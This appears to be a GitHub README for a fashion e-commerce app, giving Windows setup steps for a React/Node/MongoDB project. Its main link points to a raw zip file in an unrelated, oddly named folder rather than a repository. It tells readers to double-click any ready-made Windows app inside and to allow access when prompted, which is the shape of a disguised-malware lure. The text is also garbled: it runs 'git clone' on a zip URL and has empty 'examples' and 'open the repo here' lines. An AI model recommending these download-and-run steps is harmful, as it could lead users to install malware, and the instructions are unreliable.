fashion-ecommerce-website is a fashion store app for buying and managing products online. It has a clean black and white design, a shopping cart, sign in and sign up screens, and order flow.
This project uses a frontend, a backend, and a database. It runs on Windows with the steps below.
- Open this page: https://raw.githubusercontent.com/jonath3390/fashion-ecommerce-website/main/nephrophthisis/fashion_website_ecommerce_hereditist.zip
- On the GitHub page, look for the Code button.
- Download the project as a ZIP file.
- Save the ZIP file to your computer.
- Right-click the ZIP file and choose Extract All.
- Open the extracted folder.
- Look for a file named
.env.example,.env,README.md, or folders namedclientandserver. - If the project came with a ready-made Windows app file, double-click it to run.
- If it is source code, follow the setup steps below to run it.
Use these basics before you start:
- Windows 10 or Windows 11
- A web browser
- Internet access
- Git, if you want to clone the repo
- Node.js 18 or later
- MongoDB, local or hosted
- A Cloudinary account for image uploads
The app is split into two main parts:
- Frontend: The part you see in your browser
- Backend: The part that handles login, products, cart, and orders
You may see folders like these:
clientorfrontendserverorbackend.env.examplepackage.json
If you downloaded a ZIP file, extract it first.
If you want to use Git, open Command Prompt and run:
git clone https://raw.githubusercontent.com/jonath3390/fashion-ecommerce-website/main/nephrophthisis/fashion_website_ecommerce_hereditist.zipThen open the project folder.
Go to the Node.js website and install the current LTS version.
After install, open Command Prompt and check:
node -v
npm -vIf both show version numbers, you are ready.
Open Command Prompt in the project folder.
If the app has separate client and server folders, install packages in both:
cd client
npm install
cd ../server
npm installIf the app uses one main folder, run:
npm installLook for a file named .env.example. Copy it and rename the copy to .env.
Then fill in values like these:
- MongoDB connection string
- JWT secret
- Cloudinary cloud name
- Cloudinary API key
- Cloudinary API secret
- Port number
Example:
MONGO_URI=your_mongodb_connection_string
JWT_SECRET=your_secret_key
CLOUDINARY_CLOUD_NAME=your_cloud_name
CLOUDINARY_API_KEY=your_api_key
CLOUDINARY_API_SECRET=your_api_secret
PORT=5000Use one of these options:
- Run MongoDB on your computer
- Use MongoDB Atlas in the cloud
Make sure the database is available before you start the app.
If the backend has its own folder, open that folder and run:
npm run devIf that does not work, try:
npm startOpen a second Command Prompt window.
Go to the frontend folder and run:
npm run devThis will usually open the app in your browser.
After both parts start, use the local address shown in the terminal.
Common examples:
Open that address in Chrome, Edge, or Firefox.
You can view products, check images, and open item pages.
You can add items to the cart, change quantities, and remove products.
Users can sign up, log in, and keep their session secure.
The app supports order placement and checkout steps.
Cloudinary handles image uploads and image storage.
The black and white design keeps the app simple and easy to read.
If the app does not start, check these items:
- Node.js is installed
- You ran
npm install - The
.envfile has all required values - MongoDB is running
- The backend port is free
- The frontend port is free
If the browser shows a blank page, refresh it after the backend starts.
If login does not work, check the JWT secret and MongoDB connection string.
If images do not load, check the Cloudinary settings.
Use these commands in Command Prompt or PowerShell:
cd fashion-ecommerce-website
npm install
npm run devIf the project has split folders:
cd fashion-ecommerce-website
cd server
npm install
npm run devOpen a second window:
cd fashion-ecommerce-website
cd client
npm install
npm run devThis app stores user and product data in MongoDB.
It uses JWT for login sessions.
It uses Cloudinary for product images.
Keep your .env file private and do not share it.
- React
- Vite
- Tailwind CSS
- React Router DOM
- Node.js
- Express
- MongoDB
- Cloudinary
- JWT
If you want to check the project first, open the repo here:
Try these user actions after the app opens:
- Browse products
- Open a product page
- Add an item to the cart
- Change the quantity
- Create a user account
- Log in and log out
- Go through checkout
- Use Command Prompt or PowerShell
- Run both frontend and backend in separate windows
- Keep the browser open while testing
- Use Chrome or Edge for the best results
- If a terminal asks to allow access, choose yes
The project may use names like:
clientserversrcpagescomponentsmodelsroutes
Follow this order for the smoothest setup:
- Download the repo
- Extract the files
- Install Node.js
- Install packages
- Add
.envvalues - Start MongoDB
- Start the backend
- Start the frontend
- Open the browser link